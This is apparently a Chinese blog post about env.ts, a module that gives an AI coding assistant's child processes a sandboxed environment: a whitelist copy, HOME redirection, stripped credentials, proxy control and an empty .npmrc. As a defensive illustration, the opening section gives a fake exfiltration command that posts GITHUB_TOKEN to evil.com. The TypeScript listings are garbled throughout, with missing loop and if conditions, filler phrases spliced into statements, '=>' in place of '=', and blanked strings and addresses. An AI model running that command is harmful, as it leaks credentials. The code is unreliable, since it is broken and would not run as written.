为什么需要环境隔离？说起来，

从想象一个场景来看。你的 CI 程序在环境变量里存了 GITHUB_TOKEN用于自动发布 npm 包。不过，现在 AI 助手要帮你跑一条命令。它启动的子进程会原封不动地继承你当前的所有环境变量——说白了它可以直接 process.env.GITHUB_TOKEN 读到你的令牌。

如果这条命令里藏了 curl https://evil.com -d $GITHUB_TOKEN你的凭证就泄露了。

这不是假设。而是真实的安全风险：不做环境隔离，子进程就能看到宿主机的一切。

痛点一：凭证泄露导致账号被盗、权限被滥用。

痛点二：第三方脚本可能在未知情况下窃取敏感信息。

env.ts 就是来解决这个问题的——它给子进程构造一个“最小够用”的干净环境，敏感凭证根本不会出现在里面。

buildSandboxEnv——主要函数

export function buildSandboxEnv: NodeJS.ProcessEnv {
const env: NodeJS.ProcessEnv = {};// 白名单拷贝
for {
if )) {
continue;// 白名单里有敏感变量？跳过，}
const value = process.env;if {
env = value;}
}
// 确保 PATH 存在
env.PATH = process.env.PATH?，老实说，env.PATH?，'';// HOME 重定向
env.HOME = options.executionRoot;env.CODEBUDDY_REAL_HOME = options.realHome;env.CODEBUDDY_SANDBOX = '';env.CODEBUDDY_SANDBOX_MODE = options.mode;env.CODEBUDDY_SANDBOX_NETWORK = options.network?'' : ''，// 剥离敏感变量
for {
delete env;}
// 代理配置
if {
assertSeatbeltProxyUrl;其实，env.HTTP_PROXY = options.proxyUrl;env.HTTPS_PROXY = options.proxyUrl;env.http_proxy = options.proxyUrl;怎么说呢，env.https_proxy = options.proxyUrl;按理说，env.NO_PROXY = '';env.no_proxy = '';} else {
// 断网：把代理变量清空
env.HTTP_PROXY = '';env.HTTPS_PROXY = '';env.http_proxy = '';env.https_proxy = '';env.NO_PROXY = '';
env.no_proxy = '';}
// 附加环境变量
for ) {
if {
delete env;} else if ) {
env = value;}
}
// npm 配置隔离
const sandboxNpmrcPath = path.join;ensureEmptyFile;老实说，env.NPM_CONFIG_USERCONFIG = sandboxNpmrcPath;env.NPM_CONFIG_GLOBALCONFIG = sandboxNpmrcPath;return env，}

逐步拆解

白名单拷贝

for {
if ) continue;const value => process.env;话说回来，if {env => value;}
}

只拷贝白名单里的变量，其他一概不传。

HOME 重定向

env.HOME => options.executionRoot;env.CODEBUDDY_REAL_HOME => options.realHome;

痛点三：工具默认读写真实使用者家目录导致意外文件泄漏或权限提高。

方法：

• 把 HOME 指向 executionRoot，可减少工具默认去真实使用者家目录读写的概率；
• 将真实 HOME 存到 CODEBUDDY_REAL_HOME以防需要时可以找回。

代理配置

if {
assertSeatbeltProxyUrl;说起来，...设置 HTTP_PROXY & HTTPS_PROXY ...
} else {
...清空代理...
}

痛点四：宿主机已设置 HTTP_PROXY 导致子进程绕过代理直接访问外网。

npm 配置隔离

const sandboxNpmrcPath => path.join;ensureEmptyFile;env.NPM_CONFIG_USERCONFIG => sandboxNpmrcPath;env.NPM_CONFIG_GLOBALCONFIG => sandboxNpmrcPath;

NPM 默认会读 .npmrc里面可能有 auth token。把指向空文件后就不会读取真实配置。

assertSeatbeltProxyUrl——代理地址校验

export function assertSeatbeltProxyUrl: void {
if return;话说回来，const parsed => new URL;const isLocalhost=> parsed.hostname === '.' || parsed.hostname === 'localhost';const port => parsed.port || '';if (
parsed.protocol!== 'http:' ||
isLocalhost ||
port!== ''
) {
throw new Error(
`Current Seatbelt profiles only allow http://.: . Received: ${proxyUrl}`,);}
}

. 环境变量生命周期图示

宿主机环境
│
▼ buildSandboxEnv
白名单拷贝 + HOME 重定向 + 凭证剥离 + 网络配置
│
▼ spawnAndWait
子进程拿到的新 environment

. 小结与常用方法

请注意。该代码示例仅演示主要原因，请根据实际项目调整细节。